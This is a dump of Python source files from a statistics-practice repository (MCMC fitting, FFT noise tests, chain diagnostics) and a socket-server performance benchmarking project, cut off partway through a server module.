"blob_id": "4cf31b30fd64f98303449ec83ffd57b163ecf3eb", "content_id": "61aee40218c440acd5799af1799af0ab4ccc4e9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3838, "license_type": "no_license", "max_line_length": 126, "num_lines": 144, "path": "/Projects/test_jagsdata.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nfirst HBM based on test_line\nfit multiple lines this time\n'''\n\n\n\n### import package\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom model_fit import model_poly1 as model\nfrom mcmc import hbm\n\n\n### input for mcmc\nn_step = 2000\n\n\n### generate line\nseed = 2357\nnp.random.seed(seed)\n\n'''\nhyper_c1 = 3.\nhyper_c0 = 5.\nn_group = 10\nn_point = 20\nhyper_sigc1 = 1e0\nhyper_sigc0 = 1e0\n\nlocal_c1 = np.random.normal( loc=hyper_c1, scale = hyper_sigc1, size=n_group )\nlocal_c0 = np.random.normal( loc=hyper_c0, scale = hyper_sigc0, size=n_group )\n\nx_real = np.zeros((n_point,n_group))\ny_data = np.zeros((n_point,n_group))\ny_err = np.zeros((n_point,n_group))\nerr_size = 2.\n\nfor i in range(n_group):\n\tx_real[:,i] = np.sort(np.random.uniform(-5,5,n_point))\n\ty_real = model(x_real[:,i],(local_c0[i], local_c1[i]))\n\ty_err[:,i] = err_size * np.random.random(n_point)\n\ty_data[:,i] = y_real + np.random.normal(loc=0., scale=y_err[:,i], size=n_point)\n\nprint 'hyper: c1 * x + c0', hyper_c1, hyper_c0, hyper_sigc1, hyper_sigc0\n#print 'local (c0,c1):', local_c0, local_c1\n'''\n\n### read data from jags/data/hierarchical_linear\ndata = np.genfromtxt('/Users/jingjing/Work/JAGSExamples/data/hierarchical/hierarchical_linear.csv', skiprows=1, delimiter=',')\ngroup,index,x,y,a,b = data[:,0], data[:,1], data[:,2], data[:,3], data[:,4], data[:,5]\nn_group = 10\nn_point = 100\nlocal_c1 = np.unique(a)\nlocal_c0 = np.unique(b)\nx_real = np.transpose(np.reshape(x,(10,100)))\ny_data = np.transpose(np.reshape(y,(10,100)))\n\nprint 'c0', np.mean(local_c0), np.std(local_c0)\nprint 'c1', np.mean(local_c1), np.std(local_c1)\n\n\n'''\nlog likelihood depends on the assumption of the data\nassuming y_data ~ N(y_real, y_err)\n'''\ndef single_log_likely(para, model_func, x_real, y_data):\n\ty_model = model_func(x_real,para)\n\treturn 0.-np.sum( (y_model - y_data)**2. )\n\n\n\n''' draw local from hyper '''\ndef draw_local_func(hyper):\n\thyper_c1, hyper_c0, hyper_sigc1, hyper_sigc0 = hyper\n\tlocal = np.random.normal(hyper_c0, hyper_sigc0), \\\n\t\t\tnp.random.normal(hyper_c1, hyper_sigc1)\n\treturn local\n\n\n### mcmc\nimport time\nprint 'start:', time.asctime()\n\n\nn_hyper = 4 # hyper_c1, hyper_c0, hyper_sigc1, hyper_sigc0\nhyper0 = np.array([10.,-15.,1.,1.,]) \nhyper_step = np.array([1e-1,1e-1,1e-1,1e-1]) # randomly selected step size\n\nhyper_seq, loglike_seq, repeat_seq, i_step = \\\nhbm(hyper0, hyper_step, n_step, draw_local_func, n_group, single_log_likely, model, \\\ndata=[x_real,y_data], seed=2357, domain=[[2,0,np.inf],[3,0,np.inf]], \\\ndraw_times=100, single_jump = False, trial_upbound = 1e5 )\n\nprint 'end:', time.asctime()\n\n### plot\nrow = 2\ncol = 4\n\nf,((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\nax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\n#for j in range(col):\n\t#ax[0][j].plot(np.repeat(hyper_seq[j,:],repeat),'b-')\n\nfor i_group in range(n_group):\n\t#ax[0][0].errorbar(x_real[:,i_group],y_data[:,i_group],yerr = y_err[:,i_group],fmt='.')\n\tax[0][0].plot(x_real[:,i_group], y_data[:,i_group],'.')\n\tax[0][0].plot(x_real[:,i_group],model(x_real[:,i_group],(local_c0[i_group], local_c1[i_group])),'b-')\n\n\nax[0][1].plot(repeat_seq[:i_step],'b-')\nax[0][1].set_xlabel('repeat times')\n\ndelta_log = loglike_seq[1:] - loglike_seq[:-1]\nratio = np.exp(delta_log)\nratio[np.where(ratio>1)[0]] = 1\nax[0][2].plot(ratio[:i_step-1], 'b-')\nax[0][2].set_xlabel('ratio')\n\nax[0][3].plot(loglike_seq[:i_step],'b-')\nax[0][3].set_xlabel('loglike')\n\n\nfor j in range(col):\n\tax[1][j].plot(hyper_seq[j,:i_step],'b-')\n\n\nax[1][0].set_xlabel('hyper_c1')\nax[1][1].set_xlabel('hyper_c0')\nax[1][2].set_xlabel('hyper_sigc1')\nax[1][3].set_xlabel('hyper_sigc0')\n\n\nplt.savefig('plt_test_jagsdata.png')\n\n'''\n### print to file\nprint 'i_step', i_step\nnp.savetxt('hyper.out', np.transpose(hyper_seq), delimiter=',')\nnp.savetxt('loglike.out', loglike_seq)\nnp.savetxt('repeat.out', repeat_seq)\n'''\n" }, { "alpha_fraction": 0.6790726184844971, "alphanum_fraction": 0.6961562037467957, "avg_line_length": 25.786884307861328, "blob_id": "67d166c37e6e93ef38559b32a3113552c94c5de3", "content_id": "10fd83076ed903d0b5bdc3bf1a1d4e693d13952f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1639, "license_type": "no_license", "max_line_length": 72, "num_lines": 61, "path": "/Projects/PlanetGroup/exam.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nexam the chain\n1. mixing by checking if the effective length is long enough (> 1000)\n2. convergence by checking where is the burnout step\n'''\n\n\nimport numpy as np\nimport sys\nsys.path.append('../..')\nfrom NaiveMC.efflength import dk_acf\nfrom NaiveMC.burnout import median_burn\n\n\ndef shortchain(hyper,loglike,limit,short=10):\n\tnstep = len(loglike)\n\tnshort = int(nstep/short)\n\t\n\thyper = hyper[:nshort, :]\n\tloglike = loglike[:nshort]\n\t\n\tn_burn = median_burn(loglike)\n eff = dk_acf(hyper, n_burn, limit)\n\n\treturn n_burn, eff\n\ndef thinchain(hyper,loglike,limit,thin=10):\n\tloglike = loglike[::thin]\n\thyper = hyper[::thin,:]\n\n\tn_burn = median_burn(loglike)\n eff = dk_acf(hyper, n_burn, limit)\t\n\n\treturn n_burn, eff\n\nif __name__ == '__main__':\n\timport argparse\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"dir\")\n\tparser.add_argument(\"file\")\n\tparser.add_argument(\"limit\", type=float)\n\targs = parser.parse_args()\n\n\tdir = args.dir\n\tfile = args.file\n\n\thyper_chain = np.loadtxt(dir+file+'_hyper.out')\n\tloglike = np.loadtxt(dir+file+'_loglike.out')\n\n\t#n_burn = median_burn(loglike)\n\t#eff = dk_acf(hyper_chain, n_burn, args.limit)\n\n\t#print 'burn step', n_burn\n\t#print 'effective chain length', eff\n\n\t#print 'shorter chain', shortchain(hyper_chain, loglike, args.limit)\n\t#print 'thin=5', thinchain(hyper_chain, loglike, args.limit, thin=5) \n\t#print 'thin=10', thinchain(hyper_chain, loglike, args.limit)\n\t#print 'thin=20', thinchain(hyper_chain, loglike, args.limit, thin=20)\n\tprint 'thin=50', thinchain(hyper_chain, loglike, args.limit, thin=50)\n\tprint 'thin=100', thinchain(hyper_chain, loglike, args.limit, thin=100)\t\n\n\t\n\n" }, { "alpha_fraction": 0.7818182110786438, "alphanum_fraction": 0.7818182110786438, "avg_line_length": 26, "blob_id": "ab5d1debbba0b8b6c3041a7a48e135b4bdfe6a73", "content_id": "54566174e613d2eb1b2e01923be74255ae2a8185", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 55, "license_type": "no_license", "max_line_length": 37, "num_lines": 2, "path": "/README.md", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "# Stat_Practice\nPracticing writing code for MCMC etc. \n" }, { "alpha_fraction": 0.6312419772148132, "alphanum_fraction": 0.6939820647239685, "avg_line_length": 24.225807189941406, "blob_id": "a8498c30fa40bf9e89da7d37c641451bb9c5142b", "content_id": "602b9efb8ae2827d07d8360a2d41f3c52b630fdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 781, "license_type": "no_license", "max_line_length": 124, "num_lines": 31, "path": "/WildThought/fft_lowsignal.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nsignal: sin wave with amplitude 1\nnoise: white noise with amplitude orders of magnitude larger than the signal\nquestion: can we find the signal with fft?\n'''\n\n''' adjust from example given on http://stackoverflow.com/questions/25735153/plotting-a-fast-fourier-transform-in-python '''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.fftpack\n\n# Signal/Noise\ns2n = 5e-1\n\n# Number of samplepoints\nN = 6e2\n# sample spacing\nT = 1.0 / 200.0\nx = np.linspace(0.0, N*T, N)\ny = s2n * np.sin(50.0 * 2.0*np.pi*x) + np.random.normal(0.,1.,N)\nyf = scipy.fftpack.fft(y)\nxf = np.linspace(0.0, 1.0/(2.0*T), N/2)\n\ncol=2\nrow=1\n\nfig, (ax1, ax2) = plt.subplots(row,col,figsize=(col*5,row*5))\nax1.plot(x,y)\nax2.plot(xf, 2.0/N * np.abs(yf[0:N/2]))\n\nplt.savefig('plt_fft_logsignal.png')" }, { "alpha_fraction": 0.6417112350463867, "alphanum_fraction": 0.6684492230415344, "avg_line_length": 27.971830368041992, "blob_id": "bb3b521675fe7dfe2baf913c1fc72f501cd6819f", "content_id": "348756665820622b81f76f5370f7671f452e9a59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2057, "license_type": "no_license", "max_line_length": 105, "num_lines": 71, "path": "/Projects/PlanetGroup/find_best.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom scipy.stats import percentileofscore\n\n\n### best hyper\n'''\nmaxlogs = np.ones(9)\nfor i in range(9):\n\tlog = np.loadtxt('st'+str(i+1)+'/loglike_top.out')\n\tmaxlogs[i] = log[-1]\n\nmaxL = np.max(maxlogs)\nprint 'max L', maxL\nargmaxL = np.argmax(maxlogs)\nprint 'file', argmaxL\n\nbest_hyper = np.loadtxt('st'+str(argmaxL)+'/hyper_top.out')[-1,:]\n#np.savetxt('best_hyper.txt', best_hyper)\n'''\n\n\n### thin data\n'''\nall_hyper = np.loadtxt('h2e0/hyper.out')\nfor i in range(9):\n\thyper = np.loadtxt('h2e'+str(i+1)+'/hyper.out')\n\tall_hyper = np.vstack((all_hyper, hyper))\n\n### thin all the data for output\nthin_hyper = all_hyper[::50,:]\nnp.savetxt('h2_thin_hyper.out',thin_hyper)\n'''\n\n### use all the data to calculate distribution for +/- 34% of best\n\nall_hyper = np.loadtxt('h4_thin_hyper.out')\n#best_hyper = np.loadtxt('best_hyper.txt')\nbest_hyper = np.loadtxt('h4_spatial_median.txt', delimiter=',')\n\nup_hyper = np.zeros(12)\ndown_hyper = np.zeros(12)\n\nfor i in range(12):\n\tquantile_mid = percentileofscore(all_hyper[:,i], best_hyper[i])\n\tprint i, 'best quantile', repr(quantile_mid)\n\n\tup_hyper[i] = np.percentile(all_hyper[:,i], np.min([quantile_mid + 34., 100.]), interpolation='nearest')\n\tdown_hyper[i] = np.percentile(all_hyper[:,i], np.max([quantile_mid - 34., 0.]), interpolation='nearest')\n\nprint '------------hyper corresponding to max L and its +/- 34%'\nprint 'hyper best', repr(best_hyper)\nprint 'hyper up', repr(up_hyper-best_hyper)\nprint 'hyper down', repr(best_hyper-down_hyper)\n\n### trans \n#best_trans = best_hyper[-3:]\n#up_trans = up_hyper[-3:]\n#down_trans = down_hyper[-3:]\n#print 'trans best', repr(best_trans)\n#print 'trans up/down', repr(up_trans), repr(down_trans)\n\n### median and +/- 34%\n\nmedian_hyper = np.median(all_hyper,axis=0)\nmedup_hyper = np.percentile(all_hyper, 84., interpolation='nearest', axis=0)\nmeddown_hyper = np.percentile(all_hyper, 16., interpolation='nearest', axis=0)\n\nprint '------------simply 16%, 50%, 84%'\nprint 'median', repr(median_hyper)\nprint '16%', repr(meddown_hyper)\nprint '84%', repr(medup_hyper)\n" } ]
35
chengebashi/dates
https://github.com/chengebashi/dates
5ed95ccfc962d919469eca69c17a0215cb076b45
02ed003b920bd86c7251d48f1a305035ed2d3da7
836125c4ee334d97ba57bdbb9fd650dc40e94864
refs/heads/master
2020-06-24T00:50:44.148190
2019-07-25T09:22:43
2019-07-25T09:22:43
198,799,910
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.49253034591674805, "alphanum_fraction": 0.5070028305053711, "avg_line_length": 19.737863540649414, "blob_id": "e55e4f12d617b63ce91f899c8ea0e1e84d7afc1c", "content_id": "dc6ef24b054a34571635b492c9368bd51e48810c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2458, "license_type": "no_license", "max_line_length": 91, "num_lines": 103, "path": "/homework.py", "repo_name": "chengebashi/dates", "src_encoding": "UTF-8", "text": "# def move(n, a, b, c): # n为圆盘数,a代表初始位圆柱,b代表过渡位圆柱,c代表目标位圆柱\n# if n == 1:\n# print(a, '-->', c)\n# else:\n# move(n - 1, a, c, b)# 将初始位的n-1个圆盘移动到过渡位,此时初始位为a,上一级函数的过渡位b即为本级的目标位,上级的目标位c为本级的过渡位\n# print(a, '-->', c)\n#\n# move(n - 1, b, a, c)# 将过渡位的n-1个圆盘移动到目标位,此时初始位为b,上一级函数的目标位c即为本级的目标位,上级的初始位a为本级的过渡位\n# move(3, 'A', 'B', 'C')\n#\n# import qrcode\n#\n# img = qrcode.make(input('请输入二维码的内容:')).show()\n# img.save(\"qr.jpg\")\n#\n# def outer(x):\n# y = 3\n# def inner():\n# nonlocal x, y\n# y += 1\n# x += 2\n# print(x, y)\n# return inner\n#\n# f = outer(4)\n# f()\n# f()\n# class Person:\n# def set_name(self):\n# self.name = '123'\n#\n# def get_name(self):\n# return self.name\n#\n# def greet(self):\n# print(\"Hello,word! I'm{}.\".format(self.name))\n#\n# p = Person()\n# p.set_name()\n# p.greet()\n\n# class Class:\n# def method(self):\n# print('I have a self')\n#\n# def function():\n# print('I dont ...')\n# instance = Class\n# instance.method('123')\n# instance.method = function\n# instance.method()\n# class Bird:\n# song = 'Squaawk'\n# def sing(self):\n# print(self.song)\n#\n# p = Bird()\n# p.sing()\n\n\n\nclass Person:\n cnt = 0\n def __init__(self, name, sex, age):\n self.__name = name\n self.__sex = sex\n self.__age = age\n Person.cnt += 1\n\n def set_name(self, name):\n self.__name = name\n\n def set_age(self, age):\n self.__age = age\n\n def show(self):\n print('{}, {}, {}'.format(self.__name, self.__sex, self.__age))\n\nclass Chinese(Person):\n def __init__(self, name, sex, age, gongfu):\n super().__init__(name, sex, age)\n self.__gongfu = gongfu\n\n def set_gongfu(self, gongfu):\n self.__gongfu = gongfu\n\n def show(self):\n super().show()\n print(self.__gongfu)\n\nif __name__ == '__main__':\n p1 = Person(\"tom\", \"mal\", \"23\")\n p1.show()\n p1.set_name(\"jim\")\n p1.show()\n print(Person.cnt)\n\n c1 = Chinese(\"张三\", \"男\", \"25\", \"太极剑\")\n c1.show()\n c1.set_name(\"张三丰\")\n c1.set_gongfu(\"乾坤大挪移\")\n c1.show()\n print(Chinese.cnt)\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.37387385964393616, "alphanum_fraction": 0.44594594836235046, "avg_line_length": 23.77777862548828, "blob_id": "d9964fbc9414a7e8dc5b7cefc6d9aa481d2b571f", "content_id": "69de52d15f2250ecfde90dc1eb3bfe901dbb1461", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 222, "license_type": "no_license", "max_line_length": 31, "num_lines": 9, "path": "/bubble sort.py", "repo_name": "chengebashi/dates", "src_encoding": "UTF-8", "text": "num = [9, 4, 7,32, 2, 22, 430]\nswap = 0\nfor k in range(len(num)):\n for i in range(len(num)-1):\n if num[i] < num[i+1]:\n swap = num[i]\n num[i] = num[i+1]\n num[i+1] = swap\nprint(num)" }, { "alpha_fraction": 0.3906976878643036, "alphanum_fraction": 0.4651162922382355, "avg_line_length": 18.636363983154297, "blob_id": "cc93abb6229842b7cf8810a07a54025bb610487d", "content_id": "dc83822c7ae2080bc408804c6f2cc51a74599585", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 215, "license_type": "no_license", "max_line_length": 39, "num_lines": 11, "path": "/selection sort.py", "repo_name": "chengebashi/dates", "src_encoding": "UTF-8", "text": "num = [9, 4, 7,32, 2, 22, 430, 2, 4, 9]\nsum = []\nwhile len(num) > 0:\n m = num[0]\n for i in range(len(num)):\n if m > num[i]:\n m = num[i]\n sum.append(m)\n num.remove(m)\nnum = sum\nprint(num)" }, { "alpha_fraction": 0.7419354915618896, "alphanum_fraction": 0.7419354915618896, "avg_line_length": 31, "blob_id": "e342ea02e1c4d3af09d7e3e33aa23c35cbfcd3dd", "content_id": "5add911fa05d31788ccb36f583e08ebe845aff8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 81, "license_type": "no_license", "max_line_length": 31, "num_lines": 1, "path": "/README.md", "repo_name": "chengebashi/dates", "src_encoding": "UTF-8", "text": "​\t这个仓库存放着一些平时开发的小项目,会不定期更新....." } ]
4
sheng9527/ManifestEditor
https://github.com/sheng9527/ManifestEditor
203a372e02425e5c2c68840226de27ce4e38ff0c
ae4fc25338f0d7bb5651f1f46ca9e8ed63296ce5
10e74a19462346b632b0c6b94a95e0f257f5ebf8
refs/heads/master
2022-10-11T20:40:20.527451
2020-06-12T02:05:53
2020-06-12T02:05:53
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5498154759407043, "alphanum_fraction": 0.5608856081962585, "avg_line_length": 29.11111068725586, "blob_id": "35c57ff698a387aa4c7574213c19182de4304196", "content_id": "fc8a64209fec10b98475e35bfad8a5d52968a397", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 542, "license_type": "permissive", "max_line_length": 78, "num_lines": 18, "path": "/test/test.py", "repo_name": "sheng9527/ManifestEditor", "src_encoding": "UTF-8", "text": "\nfrom ManifestEditor import *\n\ndef test():\n input_xml = \"test/AndroidManifest.xml\"\n output_xml = \"test/cody-AndroidManifest.xml\"\n old_attr_obj = {\n \"tag\":\"manifest\",\n }\n new_attr_obj = [\n {\"key\": \"package\", \"value\": \"com.xxx\"},\n {\"key\": \"versionCode\", \"value\": 100},\n {\"key\": \"versionName\", \"value\": \"2.2.2\"}\n ]\n modify_attr(input_xml, old_attr_obj, new_attr_obj, output_xml)\n print(get_attr_value(input_xml, {\"tag\":\"manifest\",\"attr_name\":\"package\"}))\n\nif __name__ == \"__main__\":\n test()" }, { "alpha_fraction": 0.6749011874198914, "alphanum_fraction": 0.676877498626709, "avg_line_length": 35.17856979370117, "blob_id": "77be5cc67906b9ef5ef9b6252734de85ae768750", "content_id": "2aeea36b8baeb2566daad17fb92024f629a4cb02", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1012, "license_type": "permissive", "max_line_length": 83, "num_lines": 28, "path": "/ManifestEditor/__init__.py", "repo_name": "sheng9527/ManifestEditor", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n#coding=utf-8\n#author: cody\n\nfrom ManifestEditor.AndroidManifest import AndroidManifest\nimport os\n\ndef modify_attr(input_xml, attr_obj, new_attr_obj, output_xml=None):\n\n if output_xml == None:\n output_xml = input_xml\n\n android_manifest = AndroidManifest(input_xml)\n tag_chunk = android_manifest.xml_chunk.find_tag_chunk(attr_obj.get(\"tag\"), \n attr_obj.get(\"attr_name\"), attr_obj.get(\"attr_value\"))\n\n if type(new_attr_obj) == dict:\n new_attr_obj = [new_attr_obj]\n for attr in new_attr_obj:\n is_string, str_index = tag_chunk.modify(attr.get(\"key\"), attr.get(\"value\"))\n if is_string:\n android_manifest.string_chunk.modify(str_index, attr.get(\"value\"))\n android_manifest.output_bytes(output_xml)\n\ndef get_attr_value(input_xml, attr_obj):\n android_manifest = AndroidManifest(input_xml)\n tag_chunk = android_manifest.xml_chunk.find_tag_chunk(attr_obj.get(\"tag\"))\n return tag_chunk.get_attr_value(attr_obj.get(\"attr_name\"))" } ]
2
primal100/serverperformance
https://github.com/primal100/serverperformance
ce4cd701d1d4996b5d8049463908b13f90342dba
1fa243fbfd611c6da897945dbe0858b35b788460
644d7076a6c4460b0cb3b4b4b6a749a4d39ed39d
refs/heads/master
2020-04-08T20:10:07.194293
2018-11-29T15:23:19
2018-11-29T15:23:19
159,686,630
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6397345066070557, "alphanum_fraction": 0.6436255574226379, "avg_line_length": 28.126667022705078, "blob_id": "210fc21ae45a75401f4db5e34f56ac1b0339143e", "content_id": "62b77c6ade50429d8d07e74a4ab09aa1237ad2f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4369, "license_type": "no_license", "max_line_length": 99, "num_lines": 150, "path": "/lib/handlers.py", "repo_name": "primal100/serverperformance", "src_encoding": "UTF-8", "text": "import asyncio\nfrom functools import partial\nimport socketserver\nimport time\n\n\ndef get_handler(handler_cls, executor, action_cls, done_event):\n description = ' '.join([handler_cls.__name__, executor.__name__, action_cls.__name__])\n return partial(handler_cls, description, executor, action_cls, done_event)\n\n\nclass SomeMessagesNotProcessed(Exception):\n pass\n\n\nclass Tracker:\n first_message_time = None\n last_message_time = None\n messages_received = None\n messages_processed = None\n\n def __init__(self, description):\n self.description = description\n\n def received(self):\n self.messages_received += 1\n if not self.first_message_time:\n self.first_message_time = time.time()\n\n def processed(self):\n self.messages_processed += 1\n self.last_message_time = time.time()\n\n def check_finish(self):\n finished = self.messages_received == self.messages_processed\n if finished:\n self._print_time_taken()\n return finished\n\n def finish(self):\n finished = self.check_finish()\n if not finished:\n raise SomeMessagesNotProcessed\n\n def _print_time_taken(self):\n time_taken = self.last_message_time - self.first_message_time\n print(self.description, time_taken)\n\n\nclass SyncServerHandler(socketserver.BaseRequestHandler):\n messages_received = 0\n messages_processed = 0\n first_message_time = None\n last_message_time = None\n sender = None\n\n def __init__(self, description, executor, action_cls, done_event, *args, **kwargs):\n super(SyncServerHandler, self).__init__(*args, **kwargs)\n self.executor = executor\n self.done_event = done_event\n self.action = action_cls()\n self.sender = self.client_address[0]\n self.tracker = Tracker(description)\n\n def handle(self):\n data = None\n while data != '':\n data = self.request.recv(1024).strip()\n if data:\n self.tracker.received()\n self.executor(self.tracker.processed, self.action.do, data)\n\n def finish(self):\n self.tracker.finish()\n self.done_event.set()\n\n\nasync def async_server_sync_handler(description, executor, action_cls, done_event, reader, writer):\n tracker = Tracker(description)\n action = action_cls()\n addr = writer.get_extra_info('peername')\n data = None\n\n while data != b'':\n data = await reader.read(1024)\n if data:\n tracker.received()\n executor(tracker.processed, action.do, data)\n tracker.finish()\n done_event.set()\n\n\nasync def async_server_async_handler(description, executor, action, done_event, reader, writer):\n tracker = Tracker(description)\n addr = writer.get_extra_info('peername')\n data = None\n\n while data != b'':\n data = await reader.read(1024)\n if data:\n tracker.received()\n executor(tracker.processed, action.async_do, data)\n\n tracker.finish()\n done_event.set()\n\n\nclass AsyncProtocol(asyncio.Protocol):\n transport = None\n\n def __init__(self, description, executor, action, done_event):\n self.executor = executor\n self.action = action\n self.tracker = Tracker(description)\n self.done_event = done_event\n\n def connection_made(self, transport):\n self.transport = transport\n\n def connection_lost(self, exc):\n self.tracker.check_finish()\n\n def data_received(self, data):\n self.tracker.received()\n self.executor(self.action_done, self.do_action, data)\n\n def action_done(self):\n self.tracker.processed()\n if self.transport.is_closing():\n finished = self.tracker.check_finish()\n if finished:\n self.done_event.set()\n\n def do_action(self, data):\n raise NotImplementedError\n\n\nclass AsyncProtocolSyncHandler(AsyncProtocol):\n def do_action(self, data):\n self.executor(self.action_done, self.action.do, data)\n\n\nclass AsyncProtocolTaskHandler(AsyncProtocol):\n def do_action(self, data):\n asyncio.create_task(self.executor(self.action_done, self.action.async_do, data))\n\n\nsync_handlers = (SyncServerHandler,)\nasync_handlers = (async_server_async_handler, AsyncProtocolTaskHandler)\nasync_handlers_sync = (async_server_sync_handler, AsyncProtocolSyncHandler)\n" }, { "alpha_fraction": 0.5650095343589783, "alphanum_fraction": 0.5803059339523315, "avg_line_length": 25.820512771606445, "blob_id": "62d2430486ce6aabdfbddd24d34b762b52339612", "content_id": "5a0672e735d1d9ff3d5d7a4b8e9d925d5f9a2871", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1046, "license_type": "no_license", "max_line_length": 65, "num_lines": 39, "path": "/lib/testcases.py", "repo_name": "primal100/serverperformance", "src_encoding": "UTF-8", "text": "import unittest\nimport os\nimport socket\nimport multiprocessing\n\n\nclass BaseTestCase(unittest.TestCase):\n num_to_send = 100\n msg_size = 100\n stop_event = multiprocessing.Event()\n done_event = multiprocessing.Event()\n\n def run_server(self, *args):\n raise NotImplementedError\n\n def start_server_process(self, s, h, e, a):\n process = multiprocessing.Process(target=self.run_server,\n args=(s, h, e, a))\n process.start()\n\n def wait_done(self):\n self.done_event.wait(timeout=30)\n\n def close_server_process(self):\n self.stop_event.set()\n\n def stop_server(self):\n self.stop_event.set()\n\n def run_client(self):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n # Connect to server and send data\n sock.connect(('localhost', 9999))\n for i in range(0, 100):\n data = os.urandom(self.msg_size)\n sock.sendall(data)\n finally:\n sock.close()\n" }, { "alpha_fraction": 0.6016839146614075, "alphanum_fraction": 0.6081606149673462, "avg_line_length": 21.39130401611328, "blob_id": "721fbb6fdce6af7889a6b79158450be89e556df1", "content_id": "99478b0cf13f836167d8fe33de8fdda3d808f727", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1544, "license_type": "no_license", "max_line_length": 60, "num_lines": 69, "path": "/lib/actions.py", "repo_name": "primal100/serverperformance", "src_encoding": "UTF-8", "text": "import aiofile\nimport asyncio\nimport binascii\nimport os\nfrom pathlib import Path\nimport time\n\nchunk_length = 16\nsleep_for = 0.001\n\n\ndef bytes_to_chunks(b):\n pos = 0\n while pos < len(b):\n newpos = pos + chunk_length\n chunk = b[pos:newpos]\n pos = newpos\n yield chunk\n\n\nclass Action:\n def do(self, data):\n for msg in bytes_to_chunks(data):\n self.do_one(msg)\n\n async def async_do(self, data):\n for msg in bytes_to_chunks(data):\n await self.async_do_one(msg)\n\n def do_one(self, data):\n raise NotImplementedError\n\n def async_do_one(self, data):\n raise NotImplementedError\n\n\nclass SleepAction(Action):\n def do_one(self, data):\n time.sleep(sleep_for)\n\n async def async_do_one(self, data):\n await asyncio.sleep(sleep_for)\n\n\nclass WriteFileAction(Action):\n base_dir = Path(__file__).parent.parent.joinpath('data')\n i = 0\n\n def __init__(self):\n self.base_dir.mkdir(parents=True, exist_ok=True)\n\n def get_file_path(self):\n filename = binascii.hexlify(os.urandom(8))\n file_path = self.base_dir.joinpath(filename)\n self.i += 1\n return file_path\n\n def do_one(self, data):\n filename = self.get_file_path()\n with open(filename, 'w') as f:\n f.write(data)\n\n async def async_do_one(self, data):\n filename = self.get_file_path()\n async with aiofile.AIOFile(str(filename), 'w') as f:\n await f.write(data)\n\n\nactions = (SleepAction, WriteFileAction)" }, { "alpha_fraction": 0.6037567257881165, "alphanum_fraction": 0.607334554195404, "avg_line_length": 35.032257080078125, "blob_id": "f769507c96ece9ce7e8e8e368bf31cba7f7df834", "content_id": "9d5889521862a327968f3075a0dfc556d8621515", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1118, "license_type": "no_license", "max_line_length": 91, "num_lines": 31, "path": "/tests.py", "repo_name": "primal100/serverperformance", "src_encoding": "UTF-8", "text": "from lib.testcases import BaseTestCase\nfrom lib.actions import actions\nfrom lib.servers import sync_servers\nfrom lib.executors import sync_executors\nfrom lib.handlers import sync_handlers\n\n\nclass TestSyncServersSleeping(BaseTestCase):\n\n def run_server(self, s, h, e, a):\n from lib.actions import actions\n from lib.servers import sync_servers\n from lib.executors import sync_executors\n from lib.handlers import sync_handlers\n action_cls = actions[a]\n server_cls = sync_servers[a]\n executor_cls = sync_executors[a]\n handler_cls = sync_handlers[a]\n server_cls(handler_cls, executor_cls, action_cls, self.stop_event, self.done_event)\n\n\n\n def test_run(self):\n for s in range(0, len(sync_servers)):\n for h in range(0, len(sync_handlers)):\n for e in range(0, len(sync_executors)):\n for a in range(0, len(actions)):\n self.start_server_process(s, h, e, a)\n self.run_client()\n self.wait_done()\n self.stop_server()\n\n" }, { "alpha_fraction": 0.6817957758903503, "alphanum_fraction": 0.6837691068649292, "avg_line_length": 26.76712417602539, "blob_id": "87569eb1231d77e5a1550896b274fb67956fb044", "content_id": "79b27eba959a8b4b06993de0427052674e736185", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2027, "license_type": "no_license", "max_line_length": 115, "num_lines": 73, "path": "/lib/servers.py", "repo_name": "primal100/serverperformance", "src_encoding": "UTF-8", "text": "import asyncio\nimport threading\nimport socketserver\n\nfrom lib.handlers import get_handler\n\n\nclass BaseServer:\n server = None\n\n def __init__(self, handler_cls, executor_cls, action_cls, stop_event, done_event, host=\"localhost\", port=9999):\n self.stop_event = stop_event\n self.host = host\n self.port = port\n self.handler = get_handler(executor_cls, handler_cls, action_cls, done_event)\n\n def start_server(self):\n raise NotImplementedError\n\n def stop_server(self):\n raise NotImplementedError\n\n\nclass BaseSyncServer(BaseServer):\n server_cls = None\n\n def 